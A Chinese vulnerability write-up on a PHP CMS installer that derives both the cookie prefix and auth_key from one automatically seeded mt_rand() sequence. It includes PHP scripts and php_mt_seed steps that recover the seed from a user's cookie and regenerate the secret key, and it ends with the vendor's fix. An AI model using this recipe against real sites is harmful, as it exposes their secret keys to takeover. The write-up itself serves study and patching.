0x00.前言
这个漏洞的成因其实就是php的随机数的安全性,在说这个漏洞之前我们需要了解下以下几个点。
- 在php中生成随机数一般使用mt_rand()和rand()两个函数,在使用这两个函数前,需要使用对应的srand() 和 mt_srand()播种函数获得随机数种子。
-
经过测试发现在使用同一种子产生随机数时,生成的随机数序列是一定的,也就是说在我们获取了这个种子时,就可以获取到产生的随机数序列。
-
在 php > 4.2.0 的版本中,不再需要手动用srand() 或 mt_srand() 函数给随机数发生器播种了,因为现在是由系统自动完成的。也就是说随机数种子不用我们给了(当然我们也可以自己设定)。
0x01.漏洞分析
看了以上三点,让我们回到这个漏洞本身来。首先让我们来看看漏洞代码:
install.php
可以看到这里的$cookie_pre和$auth_key在安装时随机产生,跟进random函数
用到了mt_rand(),可以看到整个流程并没有手动使用mt_srand()播种,是采用了自动播种。
而自动播种种子是指的是在多次调用 mt_rand()函数产生随机数序列,只会播种一次种子,也就是说产生$cookie_pre和$auth_key的种子是一致的,当我们获取到了这个种子时,就可以爆破出auth_key了,那么怎么获取这个种子呢?也许说到这里你还不是太能理解,那么接着看接下来的漏洞利用吧。
0x02.漏洞利用
void mt_srand ( int $seed )
这是官方给出的mt_srand()函数的用法,$seed是一个int,最大值为2147483647.但我们同样可以是传入大于2147483647或者小于-2147483647的值,这时mt_srand会自动处理转化为int范围里的值,具体转化如下:
这就说明随机播种的种子是存在一个范围内,是允许我们进行爆破的,国外有人已经用c写了一个爆破种子程序,我们可以直接用:
http://www.openwall.com/php_mt_seed/
要想获取种子,我们得先有一个产生的随机数列,通过这个数列去反向爆破可能的种子,随机数列的长度越大,我们爆破获得的种子个数应该更小,更接近真正的seed。在这里这个随机数列就是cookie_pre。
想要获取cookie_pre很容易,前台注册用户(跟管理员用户一样),登录查看cookie即可:
cookie_pre='EbPGc'
直接使用脚本转化为生成的随机数序列:
<?php $str = "EbPGc"; $randStr = "abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ"; for($i=0;$i<strlen($str);$i++){ $pos = strpos($randStr,$str[$i]); echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." "; //整理成方便 php_mt_seed 测试的格式 //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX[RANGE_MIN RANGE_MAX]] } echo "/n"; ?>
获得序列:
利用php_mt_seed去爆破出可能的种子:
获得了七个可能种子,在利用这七个种子分别去手工播种,获得auth_key的序列(这里从数组里取出是string,不用intval,会自动转成int):
<?php function random($length, $chars = '0123456789') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } $a=array('659416197','1040348296','2206635608','2314602866','2614173087','3554883387','3564275591'); //print_r($a); for($i = 0;$i < count($a); $i++){ //$sead=intval($a[$i]); mt_srand($a[$i]); //var_dump(intval($a[$i])); $cookie_pre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'); $auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'); echo $a[$i]." ".$cookie_pre." ".$auth_key."/n"; } ?>
每个种子对应的cookie_pre和auth_key:
最后让我们来对比下本地配置文件里的auth_key:
可以看到和我们crack出来的第四个序列是一样的,拿到auth_key就可以干很多事咯。
0x03.后记
最后让我们再来看看最新版(9.6.2)的官方修复方式:
在每一次使用mt_rand生成序列时都手工使用mt_srand()播种一次,这样生成cookie_pre和auth_key的种子几乎不可能一样了,自然漏洞就不存在了。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论